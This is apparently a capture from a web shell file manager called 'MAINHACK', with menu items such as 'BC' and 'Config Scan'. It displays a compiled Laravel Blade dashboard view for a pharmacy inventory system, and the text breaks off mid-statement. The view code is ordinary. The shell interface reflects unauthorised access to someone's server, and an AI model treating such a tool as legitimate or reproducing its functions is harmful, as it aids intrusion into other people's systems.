[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: b21ac8c52ad47c3c01ebc0555322b012.php
<?php $__env->startSection('title', translate('common.dashboard')); ?> <?php $__env->startSection('content'); ?> <div class="row"> <?php if (isset($component)) { $__componentOriginal8f216e051c231b98198765acd723fb77 = $component; } ?> <?php if (isset($attributes)) { $__attributesOriginal8f216e051c231b98198765acd723fb77 = $attributes; } ?> <?php $component = Illuminate\View\AnonymousComponent::resolve(['view' => 'components.stats-card','data' => ['title' => 'Total Medicines','value' => ''.e($medicine).'','icon' => 'fas fa-pills']] + (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag ? (array) $attributes->getIterator() : [])); ?> <?php $component->withName('stats-card'); ?> <?php if ($component->shouldRender()): ?> <?php $__env->startComponent($component->resolveView(), $component->data()); ?> <?php if (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag && $constructor = (new ReflectionClass(Illuminate\View\AnonymousComponent::class))->getConstructor()): ?> <?php $attributes = $attributes->except(collect($constructor->getParameters())->map->getName()->all()); ?> <?php endif; ?> <?php $component->withAttributes(['title' => 'Total Medicines','value' => ''.e($medicine).'','icon' => 'fas fa-pills']); ?> <?php echo $__env->renderComponent(); ?> <?php endif; ?> <?php if (isset($__attributesOriginal8f216e051c231b98198765acd723fb77)): ?> <?php $attributes = $__attributesOriginal8f216e051c231b98198765acd723fb77; ?> <?php unset($__attributesOriginal8f216e051c231b98198765acd723fb77); ?> <?php endif; ?> <?php if (isset($__componentOriginal8f216e051c231b98198765acd723fb77)): ?> <?php $component = $__componentOriginal8f216e051c231b98198765acd723fb77; ?> <?php unset($__componentOriginal8f216e051c231b98198765acd723fb77); ?> <?php endif; ?> <?php if (isset($component)) { $__componentOriginal8f216e051c231b98198765acd723fb77 = $component; } ?> <?php if (isset($attributes)) { $__attributesOriginal8f216e051c231b98198765acd723fb77 = $attributes; } ?> <?php $component = Illuminate\View\AnonymousComponent::resolve(['view' => 'components.stats-card','data' => ['title' => 'Instock Medicines','value' => ''.e(number_format($instock_medicine, 0, '.', ',')).'','icon' => 'fas fa-pills']] + (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag ? (array) $attributes->getIterator() : [])); ?> <?php $component->withName('stats-card'); ?> <?php if ($component->shouldRender()): ?> <?php $__env->startComponent($component->resolveView(), $component->data()); ?> <?php if (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag && $constructor = (new ReflectionClass(Illuminate\View\AnonymousComponent::class))->getConstructor()): ?> <?php $attributes = $attributes->except(collect($constructor->getParameters())->map->getName()->all()); ?> <?php endif; ?> <?php $component->withAttributes(['title' => 'Instock Medicines','value' => ''.e(number_format($instock_medicine, 0, '.', ',')).'','icon' => 'fas fa-pills']); ?> <?php echo $__env->renderComponent(); ?> <?php endif; ?> <?php if (isset($__attributesOriginal8f216e051c231b98198765acd723fb77)): ?> <?php $attributes = $__attributesOriginal8f216e051c231b98198765acd723fb77; ?> <?php unset($__attributesOriginal8f216e051c231b98198765acd723fb77); ?> <?php endif; ?> <?php if (isset($__componentOriginal8f216e051c231b98198765acd723fb77)): ?> <?php $component = $__componentOriginal8f216e051c231b98198765acd723fb77; ?> <?php unset($__componentOriginal8f216e051c231b98198765acd723fb77); ?> <?php endif; ?> <?php if (isset($component)) { $__componentOriginal8f216e051c231b98198765acd723fb77 = $component; } ?> <?php if (isset($attributes)) { $__attributesOriginal8f216e051c231b98198765acd723fb77 = $attributes; } ?> <?php $component = Illuminate\View\AnonymousComponent::resolve(['view' => 'components.stats-card','data' => ['title' => 'Stockout Medicines','value' => ''.e($stockout->count()).'','icon' => 'fas fa-pills']] + (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag ? (array) $attributes->getIterator() : [])); ?> <?php $component->withName('stats-card'); ?> <?php if ($component->shouldRender()): ?> <?php $__env->startComponent($component->resolveView(), $component->data()); ?> <?php if (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag && $constructor = (new ReflectionClass(Illuminate\View\AnonymousComponent::class))->getConstructor()): ?> <?php $attributes = $attributes->except(collect($constructor->getParameters())->map->getName()->all()); ?> <?php endif; ?> <?php $component->withAttributes(['title' => 'Stockout Medicines','value' => ''.e($stockout->count()).'','icon' => 'fas fa-pills']); ?> <?php echo $__env->renderComponent(); ?> <?php endif; ?> <?php if (isset($__attributesOriginal8f216e051c231b98198765acd723fb77)): ?> <?php $attributes = $__attributesOriginal8f216e051c231b98198765acd723fb77; ?> <?php unset($__attributesOriginal8f216e051c231b98198765acd723fb77); ?> <?php endif; ?> <?php if (isset($__componentOriginal8f216e051c231b98198765acd723fb77)): ?> <?php $component = $__componentOriginal8f216e051c231b98198765acd723fb77; ?> <?php unset($__componentOriginal8f216e051c231b98198765acd723fb77); ?> <?php endif; ?> <?php if (isset($component)) { $__componentOriginal8f216e051c231b98198765acd723fb77 = $component; } ?> <?php if (isset($attributes)) { $__attributesOriginal8f216e051c231b98198765acd723fb77 = $attributes; } ?> <?php $component = Illuminate\View\AnonymousComponent::resolve(['view' => 'components.stats-card','data' => ['title' => 'Expired Medicines','value' => ''.e($expire->count()).'','icon' => 'fas fa-pills']] + (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag ? (array) $attributes->getIterator() : [])); ?> <?php $component->withName('stats-card'); ?> <?php if ($component->shouldRender()): ?> <?php $__env->startComponent($component->resolveView(), $component->data()); ?> <?php if (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag && $constructor = (new ReflectionClass(Illuminate\View\AnonymousComponent::class))->getConstructor()): ?> <?php $attributes = $attributes->except(collect($constructor->getParameters())->map->getName()->all()); ?> <?php endif; ?> <?php $component->withAttributes(['title' => 'Expired Medicines','value' => ''.e($expire->count()).'','icon' => 'fas fa-pills']); ?> <?php echo $__env->renderComponent(); ?> <?php endif; ?> <?php if (isset($__attributesOriginal8f216e051c231b98198765acd723fb77)): ?> <?php $attributes = $__attributesOriginal8f216e051c231b98198765acd723fb77; ?> <?php unset($__attributesOriginal8f216e051c231b98198765acd723fb77); ?> <?php endif; ?> <?php if (isset($__componentOriginal8f216e051c231b98198765acd723fb77)): ?> <?php $component = $__componentOriginal8f216e051c231b98198765acd723fb77; ?> <?php unset($__componentOriginal8f216e051c231b98198765acd723fb77); ?> <?php endif; ?> <?php if (isset($component)) { $__componentOriginal8f216e051c231b98198765acd723fb77 = $component; } ?> <?php if (isset($attributes)) { $__attributesOriginal8f216e051c231b98198765acd723fb77 = $attributes; } ?> <?php $component = Illuminate\View\AnonymousComponent::resolve(['view' => 'components.stats-card','data' => ['title' => 'Total Product Sale','value' => ''.e($total_product_sale).'','icon' => 'fa fa-print']] + (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag ? (array) $attributes->getIterator() : [])); ?> <?php $component->withName('stats-card'); ?> <?php if ($component->shouldRender()): ?> <?php $__env->startComponent($component->resolveView(), $component->data()); ?> <?php if (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag && $constructor = (new ReflectionClass(Illuminate\View\AnonymousComponent::class))->getConstructor()): ?> <?php $attributes = $attributes->except(collect($constructor->getParameters())->map->getName()->all()); ?> <?php endif; ?> <?php $component->withAttributes(['title' => 'Total Product Sale','value' => ''.e($total_product_sale).'','icon' => 'fa fa-print']); ?> <?php echo $__env->renderComponent(); ?> <?php endif; ?> <?php if (isset($__attributesOriginal8f216e051c231b98198765acd723fb77)): ?> <?php $attributes = $__attributesOriginal8f216e051c231b98198765acd723fb77; ?> <?php unset($__attributesOriginal8f216e051c231b98198765acd723fb77); ?> <?php endif; ?> <?php if (isset($__componentOriginal8f216e051c231b98198765acd723fb77)): ?> <?php $component = $__componentOriginal8f216e051c231b98198765acd723fb77; ?> <?php unset($__componentOriginal8f216e051c231b98198765acd723fb77); ?> <?php endif; ?> <?php if (isset($component)) { $__componentOriginal8f216e051c231b98198765acd723fb77 = $component; } ?> <?php if (isset($attributes)) { $__attributesOriginal8f216e051c231b98198765acd723fb77 = $attributes; } ?> <?php $component = Illuminate\View\AnonymousComponent::resolve(['view' => 'components.stats-card','data' => ['title' => 'Today Product Sale','value' => ''.e($today_product_sale).'','icon' => 'fa fa-print']] + (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag ? (array) $attributes->getIterator() : [])); ?> <?php $component->withName('stats-card'); ?> <?php if ($component->shouldRender()): ?> <?php $__env->startComponent($component->resolveView(), $component->data()); ?> <?php if (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag && $constructor = (new ReflectionClass(Illuminate\View\AnonymousComponent::class))->getConstructor()): ?> <?php $attributes = $attributes->except(collect($constructor->getParameters())->map->getName()->all()); ?> <?php endif; ?> <?php $component->withAttributes(['title' => 'Today Product Sale','value' => ''.e($today_product_sale).'','icon' => 'fa fa-print']); ?> <?php echo $__env->renderComponent(); ?> <?php endif; ?> <?php if (isset($__attributesOriginal8f216e051c231b98198765acd723fb77)): ?> <?php $attributes = $__attributesOriginal8f216e051c231b98198765acd723fb77; ?> <?php unset($__attributesOriginal8f216e051c231b98198765acd723fb77); ?> <?php endif; ?> <?php if (isset($__componentOriginal8f216e051c231b98198765acd723fb77)): ?> <?php $component = $__componentOriginal8f216e051c231b98198765acd723fb77; ?> <?php unset($__componentOriginal8f216e051c231b98198765acd723fb77); ?> <?php endif; ?> <?php if (isset($component)) { $__componentOriginal8f216e051c231b98198765acd723fb77 = $component; } ?> <?php if (isset($attributes)) { $__attributesOriginal8f216e051c231b98198765acd723fb77 = $attributes; } ?> <?php $component = Illuminate\View\AnonymousComponent::resolve(['view' => 'components.stats-card','data' => ['title' => 'This Month Sale','value' => ''.e($product_sale_this_month).'','icon' => 'fa fa-print']] + (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag ? (array) $attributes->getIterator() : [])); ?> <?php $component->withName('stats-card'); ?> <?php if ($component->shouldRender()): ?> <?php $__env->startComponent($component->resolveView(), $component->data()); ?> <?php if (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag && $constructor = (new ReflectionClass(Illuminate\View\AnonymousComponent::class))->getConstructor()): ?> <?php $attributes = $attributes->except(collect($constructor->getParameters())->map->getName()->all()); ?> <?php endif; ?> <?php $component->withAttributes(['title' => 'This Month Sale','value' => ''.e($product_sale_this_month).'','icon' => 'fa fa-print']); ?> <?php echo $__env->renderComponent(); ?> <?php endif; ?> <?php if (isset($__attributesOriginal8f216e051c231b98198765acd723fb77)): ?> <?php $attributes = $__attributesOriginal8f216e051c231b98198765acd723fb77; ?> <?php unset($__attributesOriginal8f216e051c231b98198765acd723fb77); ?> <?php endif; ?> <?php if (isset($__componentOriginal8f216e051c231b98198765acd723fb77)): ?> <?php $component = $__componentOriginal8f216e051c231b98198765acd723fb77; ?> <?php unset($__componentOriginal8f216e051c231b98198765acd723fb77); ?> <?php endif; ?> <?php if (isset($component)) { $__componentOriginal8f216e051c231b98198765acd723fb77 = $component; } ?> <?php if (isset($attributes)) { $__attributesOriginal8f216e051c231b98198765acd723fb77 = $attributes; } ?> <?php $component = Illuminate\View\AnonymousComponent::resolve(['view' => 'components.stats-card','data' => ['title' => 'This Year Product Sale','value' => ''.e($product_sale_this_year).'','icon' => 'fa fa-print']] + (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag ? (array) $attributes->getIterator() : [])); ?> <?php $component->withName('stats-card'); ?> <?php if ($component->shouldRender()): ?> <?php $__env->startComponent($component->resolveView(), $component->data()); ?> <?php if (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag && $constructor = (new ReflectionClass(Illuminate\View\AnonymousComponent::class))->getConstructor()): ?> <?php $attributes = $attributes->except(collect($constructor->getParameters())->map->getName()->all()); ?> <?php endif; ?> <?php $component->withAttributes(['title' => 'This Year Product Sale','value' => ''.e($product_sale_this_year).'','icon' => 'fa fa-print']); ?> <?php echo $__env->renderComponent(); ?> <?php endif; ?> <?php if (isset($__attributesOriginal8f216e051c231b98198765acd723fb77)): ?> <?php $attributes = $__attributesOriginal8f216e051c231b98198765acd723fb77; ?> <?php unset($__attributesOriginal8f216e051c231b98198765acd723fb77); ?> <?php endif; ?> <?php if (isset($__componentOriginal8f216e051c231b98198765acd723fb77)): ?> <?php $component = $__componentOriginal8f216e051c231b98198765acd723fb77; ?> <?php unset($__componentOriginal8f216e051c231b98198765acd723fb77); ?> <?php endif; ?> <?php if (isset($component)) { $__componentOriginal8f216e051c231b98198765acd723fb77 = $component; } ?> <?php if (isset($attributes)) { $__attributesOriginal8f216e051c231b98198765acd723fb77 = $attributes; } ?> <?php $component = Illuminate\View\AnonymousComponent::resolve(['view' => 'components.stats-card','data' => ['title' => 'Total Product Purchase','value' => ''.e($total_product_purchase).'','icon' => 'fa fa-chart-column']] + (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag ? (array) $attributes->getIterator() : [])); ?> <?php $component->withName('stats-card'); ?> <?php if ($component->shouldRender()): ?> <?php $__env->startComponent($component->resolveView(), $component->data()); ?> <?php if (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag && $constructor = (new ReflectionClass(Illuminate\View\AnonymousComponent::class))->getConstructor()): ?> <?php $attributes = $attributes->except(collect($constructor->getParameters())->map->getName()->all()); ?> <?php endif; ?> <?php $component->withAttributes(['title' => 'Total Product Purchase','value' => ''.e($total_product_purchase).'','icon' => 'fa fa-chart-column']); ?> <?php echo $__env->renderComponent(); ?> <?php endif; ?> <?php if (isset($__attributesOriginal8f216e051c231b98198765acd723fb77)): ?> <?php $attributes = $__attributesOriginal8f216e051c231b98198765acd723fb77; ?> <?php unset($__attributesOriginal8f216e051c231b98198765acd723fb77); ?> <?php endif; ?> <?php if (isset($__componentOriginal8f216e051c231b98198765acd723fb77)): ?> <?php $component = $__componentOriginal8f216e051c231b98198765acd723fb77; ?> <?php unset($__componentOriginal8f216e051c231b98198765acd723fb77); ?> <?php endif; ?> <?php if (isset($component)) { $__componentOriginal8f216e051c231b98198765acd723fb77 = $component; } ?> <?php if (isset($attributes)) { $__attributesOriginal8f216e051c231b98198765acd723fb77 = $attributes; } ?> <?php $component = Illuminate\View\AnonymousComponent::resolve(['view' => 'components.stats-card','data' => ['title' => 'Today Product Purchase','value' => ''.e($today_product_purchase).'','icon' => 'fa fa-chart-column']] + (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag ? (array) $attributes->getIterator() : [])); ?> <?php $component->withName('stats-card'); ?> <?php if ($component->shouldRender()): ?> <?php $__env->startComponent($component->resolveView(), $component->data()); ?> <?php if (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag && $constructor = (new ReflectionClass(Illuminate\View\AnonymousComponent::class))->getConstructor()): ?> <?php $attributes = $attributes->except(collect($constructor->getParameters())->map->getName()->all()); ?> <?php endif; ?> <?php $component->withAttributes(['title' => 'Today Product Purchase','value' => ''.e($today_product_purchase).'','icon' => 'fa fa-chart-column']); ?> <?php echo $__env->renderComponent(); ?> <?php endif; ?> <?php if (isset($__attributesOriginal8f216e051c231b98198765acd723fb77)): ?> <?php $attributes = $__attributesOriginal8f216e051c231b98198765acd723fb77; ?> <?php unset($__attributesOriginal8f216e051c231b98198765acd723fb77); ?> <?php endif; ?> <?php if (isset($__componentOriginal8f216e051c231b98198765acd723fb77)): ?> <?php $component = $__componentOriginal8f216e051c231b98198765acd723fb77; ?> <?php unset($__componentOriginal8f216e051c231b98198765acd723fb77); ?> <?php endif; ?> <?php if (isset($component)) { $__componentOriginal8f216e051c231b98198765acd723fb77 = $component; } ?> <?php if (isset($attributes)) { $__attributesOriginal8f216e051c231b98198765acd723fb77 = $attributes; } ?> <?php $component = Illuminate\View\AnonymousComponent::resolve(['view' => 'components.stats-card','data' => ['title' => 'This Month Purchase','value' => ''.e($product_purchase_this_month).'','icon' => 'fa fa-chart-column']] + (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag ? (array) $attributes->getIterator() : [])); ?> <?php $component->withName('stats-card'); ?> <?php if ($component->shouldRender()): ?> <?php $__env->startComponent($component->resolveView(), $component->data()); ?> <?php if (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag && $constructor = (new ReflectionClass(Illuminate\View\AnonymousComponent::class))->getConstructor()): ?> <?php $attributes = $attributes->except(collect($constructor->getParameters())->map->getName()->all()); ?> <?php endif; ?> <?php $component->withAttributes(['title' => 'This Month Purchase','value' => ''.e($product_purchase_this_month).'','icon' => 'fa fa-chart-column']); ?> <?php echo $__env->renderComponent(); ?> <?php endif; ?> <?php if (isset($__attributesOriginal8f216e051c231b98198765acd723fb77)): ?> <?php $attributes = $__attributesOriginal8f216e051c231b98198765acd723fb77; ?> <?php unset($__attributesOriginal8f216e051c231b98198765acd723fb77); ?> <?php endif; ?> <?php if (isset($__componentOriginal8f216e051c231b98198765acd723fb77)): ?> <?php $component = $__componentOriginal8f216e051c231b98198765acd723fb77; ?> <?php unset($__componentOriginal8f216e051c231b98198765acd723fb77); ?> <?php endif; ?> <?php if (isset($component)) { $__componentOriginal8f216e051c231b98198765acd723fb77 = $component; } ?> <?php if (isset($attributes)) { $__attributesOriginal8f216e051c231b98198765acd723fb77 = $attributes; } ?> <?php $component = Illuminate\View\AnonymousComponent::resolve(['view' => 'components.stats-card','data' => ['title' => 'This Year Product Purchase','value' => ''.e($product_purchase_this_year).'','icon' => 'fa fa-chart-column']] + (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag ? (array) $attributes->getIterator() : [])); ?> <?php $component->withName('stats-card'); ?> <?php if ($component->shouldRender()): ?> <?php $__env->startComponent($component->resolveView(), $component->data()); ?> <?php if (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag && $constructor = (new ReflectionClass(Illuminate\View\AnonymousComponent::class))->getConstructor()): ?> <?php $attributes = $attributes->except(collect($constructor->getParameters())->map->getName()->all()); ?> <?php endif; ?> <?php $component->withAttributes(['title' => 'This Year Product Purchase','value' => ''.e($product_purchase_this_year).'','icon' => 'fa fa-chart-column']); ?> <?php echo $__env->renderComponent(); ?> <?php endif; ?> <?php if (isset($__attributesOriginal8f216e051c231b98198765acd723fb77)): ?> <?php $attributes = $__attributesOriginal8f216e051c231b98198765acd723fb77; ?> <?php unset($__attributesOriginal8f216e051c231b98198765acd723fb77); ?> <?php endif; ?> <?php if (isset($__componentOriginal8f216e051c231b98198765acd723fb77)): ?> <?php $component = $__componentOriginal8f216e051c231b98198765acd723fb77; ?> <?php unset($__componentOriginal8f216e051c231b98198765acd723fb77); ?> <?php endif; ?> <?php if (isset($component)) { $__componentOriginal8f216e051c231b98198765acd723fb77 = $component; } ?> <?php if (isset($attributes)) { $__attributesOriginal8f216e051c231b98198765acd723fb77 = $attributes; } ?> <?php $component = Illuminate\View\AnonymousComponent::resolve(['view' => 'components.stats-card','data' => ['title' => 'Total Earning','value' => ''.e(priceFormat($total_earning)).'','icon' => 'fa fa-dollar-sign']] + (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag ? (array) $attributes->getIterator() : [])); ?> <?php $component->withName('stats-card'); ?> <?php if ($component->shouldRender()): ?> <?php $__env->startComponent($component->resolveView(), $component->data()); ?> <?php if (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag && $constructor = (new ReflectionClass(Illuminate\View\AnonymousComponent::class))->getConstructor()): ?> <?php $attributes = $attributes->except(collect($constructor->getParameters())->map->getName()->all()); ?> <?php endif; ?> <?php $component->withAttributes(['title' => 'Total Earning','value' => ''.e(priceFormat($total_earning)).'','icon' => 'fa fa-dollar-sign']); ?> <?php echo $__env->renderComponent(); ?> <?php endif; ?> <?php if (isset($__attributesOriginal8f216e051c231b98198765acd723fb77)): ?> <?php $attributes = $__attributesOriginal8f216e051c231b98198765acd723fb77; ?> <?php unset($__attributesOriginal8f216e051c231b98198765acd723fb77); ?> <?php endif; ?> <?php if (isset($__componentOriginal8f216e051c231b98198765acd723fb77)): ?> <?php $component = $__componentOriginal8f216e051c231b98198765acd723fb77; ?> <?php unset($__componentOriginal8f216e051c231b98198765acd723fb77); ?> <?php endif; ?> <?php if (isset($component)) { $__componentOriginal8f216e051c231b98198765acd723fb77 = $component; } ?> <?php if (isset($attributes)) { $__attributesOriginal8f216e051c231b98198765acd723fb77 = $attributes; } ?> <?php $component = Illuminate\View\AnonymousComponent::resolve(['view' => 'components.stats-card','data' => ['title' => 'Today Earning','value' => ''.e(priceFormat($today_earning)).'','icon' => 'fa fa-dollar-sign']] + (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag ? (array) $attributes->getIterator() : [])); ?> <?php $component->withName('stats-card'); ?> <?php if ($component->shouldRender()): ?> <?php $__env->startComponent($component->resolveView(), $component->data()); ?> <?php if (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag && $constructor = (new ReflectionClass(Illuminate\View\AnonymousComponent::class))->getConstructor()): ?> <?php $attributes = $attributes->except(collect($constructor->getParameters())->map->getName()->all()); ?> <?php endif; ?> <?php $component->withAttributes(['title' => 'Today Earning','value' => ''.e(priceFormat($today_earning)).'','icon' => 'fa fa-dollar-sign']); ?> <?php echo $__env->renderComponent(); ?> <?php endif; ?> <?php if (isset($__attributesOriginal8f216e051c231b98198765acd723fb77)): ?> <?php $attributes = $__attributesOriginal8f216e051c231b98198765acd723fb77; ?> <?php unset($__attributesOriginal8f216e051c231b98198765acd723fb77); ?> <?php endif; ?> <?php if (isset($__componentOriginal8f216e051c231b98198765acd723fb77)): ?> <?php $component = $__componentOriginal8f216e051c231b98198765acd723fb77; ?> <?php unset($__componentOriginal8f216e051c231b98198765acd723fb77); ?> <?php endif; ?> <?php if (isset($component)) { $__componentOriginal8f216e051c231b98198765acd723fb77 = $component; } ?> <?php if (isset($attributes)) { $__attributesOriginal8f216e051c231b98198765acd723fb77 = $attributes; } ?> <?php $component = Illuminate\View\AnonymousComponent::resolve(['view' => 'components.stats-card','data' => ['title' => 'This Month Earning','value' => ''.e(priceFormat($earning_this_month)).'','icon' => 'fa fa-dollar-sign']] + (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag ? (array) $attributes->getIterator() : [])); ?> <?php $component->withName('stats-card'); ?> <?php if ($component->shouldRender()): ?> <?php $__env->startComponent($component->resolveView(), $component->data()); ?> <?php if (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag && $constructor = (new ReflectionClass(Illuminate\View\AnonymousComponent::class))->getConstructor()): ?> <?php $attributes = $attributes->except(collect($constructor->getParameters())->map->getName()->all()); ?> <?php endif; ?> <?php $component->withAttributes(['title' => 'This Month Earning','value' => ''.e(priceFormat($earning_this_month)).'','icon' => 'fa fa-dollar-sign']); ?> <?php echo $__env->renderComponent(); ?> <?php endif; ?> <?php if (isset($__attributesOriginal8f216e051c231b98198765acd723fb77)): ?> <?php $attributes = $__attributesOriginal8f216e051c231b98198765acd723fb77; ?> <?php unset($__attributesOriginal8f216e051c231b98198765acd723fb77); ?> <?php endif; ?> <?php if (isset($__componentOriginal8f216e051c231b98198765acd723fb77)): ?> <?php $component = $__componentOriginal8f216e051c231b98198765acd723fb77; ?> <?php unset($__componentOriginal8f216e051c231b98198765acd723fb77); ?> <?php endif; ?> <?php if (isset($component)) { $__componentOriginal8f216e051c231b98198765acd723fb77 = $component; } ?> <?php if (isset($attributes)) { $__attributesOriginal8f216e051c231b98198765acd723fb77 = $attributes; } ?> <?php $component = Illuminate\View\AnonymousComponent::resolve(['view' => 'components.stats-card','data' => ['title' => 'This Year Erning','value' => ''.e(priceFormat($earning_this_year)).'','icon' => 'fa fa-dollar-sign']] + (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag ? (array) $attributes->getIterator() : [])); ?> <?php $component->withName('stats-card'); ?> <?php if ($component->shouldRender()): ?> <?php $__env->startComponent($component->resolveView(), $component->data()); ?> <?php if (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag && $constructor = (new ReflectionClass(Illuminate\View\AnonymousComponent::class))->getConstructor()): ?> <?php $attributes = $attributes->except(collect($constructor->getParameters())->map->getName()->all()); ?> <?php endif; ?> <?php $component->withAttributes(['title' => 'This Year Erning','value' => ''.e(priceFormat($earning_this_year)).'','icon' => 'fa fa-dollar-sign']); ?> <?php echo $__env->renderComponent(); ?> <?php endif; ?> <?php if (isset($__attributesOriginal8f216e051c231b98198765acd723fb77)): ?> <?php $attributes = $__attributesOriginal8f216e051c231b98198765acd723fb77; ?> <?php unset($__attributesOriginal8f216e051c231b98198765acd723fb77); ?> <?php endif; ?> <?php if (isset($__componentOriginal8f216e051c231b98198765acd723fb77)): ?> <?php $component = $__componentOriginal8f216e051c231b98198765acd723fb77; ?> <?php unset($__componentOriginal8f216e051c231b98198765acd723fb77); ?> <?php endif; ?> <?php if (isset($component)) { $__componentOriginal8f216e051c231b98198765acd723fb77 = $component; } ?> <?php if (isset($attributes)) { $__attributesOriginal8f216e051c231b98198765acd723fb77 = $attributes; } ?> <?php $component = Illuminate\View\AnonymousComponent::resolve(['view' => 'components.stats-card','data' => ['title' => 'Total Customers','value' => ''.e($total_customers).'','icon' => 'fa fa-users']] + (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag ? (array) $attributes->getIterator() : [])); ?> <?php $component->withName('stats-card'); ?> <?php if ($component->shouldRender()): ?> <?php $__env->startComponent($component->resolveView(), $component->data()); ?> <?php if (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag && $constructor = (new ReflectionClass(Illuminate\View\AnonymousComponent::class))->getConstructor()): ?> <?php $attributes = $attributes->except(collect($constructor->getParameters())->map->getName()->all()); ?> <?php endif; ?> <?php $component->withAttributes(['title' => 'Total Customers','value' => ''.e($total_customers).'','icon' => 'fa fa-users']); ?> <?php echo $__env->renderComponent(); ?> <?php endif; ?> <?php if (isset($__attributesOriginal8f216e051c231b98198765acd723fb77)): ?> <?php $attributes = $__attributesOriginal8f216e051c231b98198765acd723fb77; ?> <?php unset($__attributesOriginal8f216e051c231b98198765acd723fb77); ?> <?php endif; ?> <?php if (isset($__componentOriginal8f216e051c231b98198765acd723fb77)): ?> <?php $component = $__componentOriginal8f216e051c231b98198765acd723fb77; ?> <?php unset($__componentOriginal8f216e051c231b98198765acd723fb77); ?> <?php endif; ?> <?php if (isset($component)) { $__componentOriginal8f216e051c231b98198765acd723fb77 = $component; } ?> <?php if (isset($attributes)) { $__attributesOriginal8f216e051c231b98198765acd723fb77 = $attributes; } ?> <?php $component = Illuminate\View\AnonymousComponent::resolve(['view' => 'components.stats-card','data' => ['title' => 'Total Suppliers','value' => ''.e($total_suppliers).'','icon' => 'fa fa-users']] + (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag ? (array) $attributes->getIterator() : [])); ?> <?php $component->withName('stats-card'); ?> <?php if ($component->shouldRender()): ?> <?php $__env->startComponent($component->resolveView(), $component->data()); ?> <?php if (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag && $constructor = (new ReflectionClass(Illuminate\View\AnonymousComponent::class))->getConstructor()): ?> <?php $attributes = $attributes->except(collect($constructor->getParameters())->map->getName()->all()); ?> <?php endif; ?> <?php $component->withAttributes(['title' => 'Total Suppliers','value' => ''.e($total_suppliers).'','icon' => 'fa fa-users']); ?> <?php echo $__env->renderComponent(); ?> <?php endif; ?> <?php if (isset($__attributesOriginal8f216e051c231b98198765acd723fb77)): ?> <?php $attributes = $__attributesOriginal8f216e051c231b98198765acd723fb77; ?> <?php unset($__attributesOriginal8f216e051c231b98198765acd723fb77); ?> <?php endif; ?> <?php if (isset($__componentOriginal8f216e051c231b98198765acd723fb77)): ?> <?php $component = $__componentOriginal8f216e051c231b98198765acd723fb77; ?> <?php unset($__componentOriginal8f216e051c231b98198765acd723fb77); ?> <?php endif; ?> <?php if (isset($component)) { $__componentOriginal8f216e051c231b98198765acd723fb77 = $component; } ?> <?php if (isset($attributes)) { $__attributesOriginal8f216e051c231b98198765acd723fb77 = $attributes; } ?> <?php $component = Illuminate\View\AnonymousComponent::resolve(['view' => 'components.stats-card','data' => ['title' => 'Total Categories','value' => ''.e($total_categories).'','icon' => 'fa fa-list-check']] + (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag ? (array) $attributes->getIterator() : [])); ?> <?php $component->withName('stats-card'); ?> <?php if ($component->shouldRender()): ?> <?php $__env->startComponent($component->resolveView(), $component->data()); ?> <?php if (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag && $constructor = (new ReflectionClass(Illuminate\View\AnonymousComponent::class))->getConstructor()): ?> <?php $attributes = $attributes->except(collect($constructor->getParameters())->map->getName()->all()); ?> <?php endif; ?> <?php $component->withAttributes(['title' => 'Total Categories','value' => ''.e($total_categories).'','icon' => 'fa fa-list-check']); ?> <?php echo $__env->renderComponent(); ?> <?php endif; ?> <?php if (isset($__attributesOriginal8f216e051c231b98198765acd723fb77)): ?> <?php $attributes = $__attributesOriginal8f216e051c231b98198765acd723fb77; ?> <?php unset($__attributesOriginal8f216e051c231b98198765acd723fb77); ?> <?php endif; ?> <?php if (isset($__componentOriginal8f216e051c231b98198765acd723fb77)): ?> <?php $component = $__componentOriginal8f216e051c231b98198765acd723fb77; ?> <?php unset($__componentOriginal8f216e051c231b98198765acd723fb77); ?> <?php endif; ?> <?php if (isset($component)) { $__componentOriginal8f216e051c231b98198765acd723fb77 = $component; } ?> <?php if (isset($attributes)) { $__attributesOriginal8f216e051c231b98198765acd723fb77 = $attributes; } ?> <?php $component = Illuminate\View\AnonymousComponent::resolve(['view' => 'components.stats-card','data' => ['title' => 'Total Transactions','value' => 